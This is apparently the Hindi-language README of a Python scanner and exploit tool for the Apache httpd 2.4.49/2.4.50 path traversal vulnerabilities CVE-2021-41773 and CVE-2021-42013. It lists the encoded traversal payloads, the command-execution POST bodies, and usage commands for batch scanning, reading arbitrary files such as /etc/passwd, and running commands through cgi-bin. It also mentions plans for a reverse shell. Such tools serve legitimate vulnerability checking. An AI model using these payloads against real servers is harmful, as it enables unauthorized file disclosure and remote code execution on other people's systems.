
apache httpd path traversal checker(CVE-2021-41773 / CVE-2021-42013)
20211005 को, ऑनलाइन apache httpd 2.4.49 की निर्देशिका ट्रैवर्सल भेद्यता (cve-2021-41773) सामने आई, जो मनमानी फ़ाइल पढ़ने का कारण बन सकती है (यदि ट्रैवर्स की गई निर्देशिका तक पहुँच की अनुमति है, जैसे कि <Directory />Require all granted</Directory> कॉन्फ़िगर किया गया हो, डिफ़ॉल्ट रूप से अनुमति नहीं) या कमांड निष्पादन (RCE के लिए cgi सक्षम होना चाहिए, डिफ़ॉल्ट रूप से cgi मॉड्यूल शामिल नहीं है)
20211008 को, 2.4.50 की एक और निर्देशिका ट्रैवर्सल (cve-2021-42013) सामने आई, जो cve-2021-41773 के फिक्स को बायपास करती है।
भेद्यता विवरण के लिए देखें: apache httpd 2.4.49/2.4.50 निर्देशिका ट्रैवर्सल भेद्यता पुनरुत्पादन और विश्लेषण
python3 से चलाएँ
उपयोग सहायता: python3 apache-httpd-path-traversal.py -h

एकल URL जाँच: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"


बैच जाँच: python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

फ़ाइल पढ़ना: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

कमांड निष्पादन: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

HTTP डेटा पैकेट भेजने के लिए urllib.request का उपयोग करता है
भेद्यता के अस्तित्व का पता लगाने का आधार /etc/passwd पढ़ना और जाँचना है कि लौटाए गए डेटा में "root:" स्ट्रिंग है या नहीं (क्योंकि अधिकांश लिनक्स हैं, इसलिए Windows की जाँच को फिलहाल अनदेखा कर दिया गया है)
मल्टी-थ्रेडेड, दक्षता बढ़ाने के लिए टाइमआउट चुनने का विकल्प।
लचीलापन प्रदान करने के लिए वैकल्पिक निर्देशिका (--cdir) और RCE शेल (--rceshell)।
जाँच करते समय संभावित सामान्य निर्देशिकाओं की सूची का उपयोग करके हिट दर बढ़ाता है। commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']
नोट: कभी-कभी फ़ाइल पढ़ने के लिए icons निर्देशिका का उपयोग किया जाता है, जबकि RCE के लिए cgi-bin निर्देशिका का उपयोग करना होता है, विशिष्ट स्थिति के अनुसार विश्लेषण करें।
7 पोक और 2 RCE पोस्ट डेटा प्रारूपों का उपयोग करता है:
#cve-2021-41773 poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"
#cve-2021-42013 poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"
poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"
poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"
#rce data rce0 = "echo;id"
rce1 = "echo Content-Type: text/plain; echo; id"
// RCE की POST विधि को GET विधि में बदलना भी संभवतः काम करता है।
// पेलोड को लक्ष्य के अपाचे पथ स्तरों के अनुसार बदलना होता है, आमतौर पर 4 स्तर पर्याप्त होते हैं।
// एक अपाचे मौजूदा निर्देशिका होनी चाहिए, जैसे icons/ या cgi-bin/
Windows सिस्टम के लिए जाँच जोड़ने की संभावना।
रिवर्स शेल आदि जैसे आगे के उपयोग को जोड़ने की संभावना।
gmail: [email protected]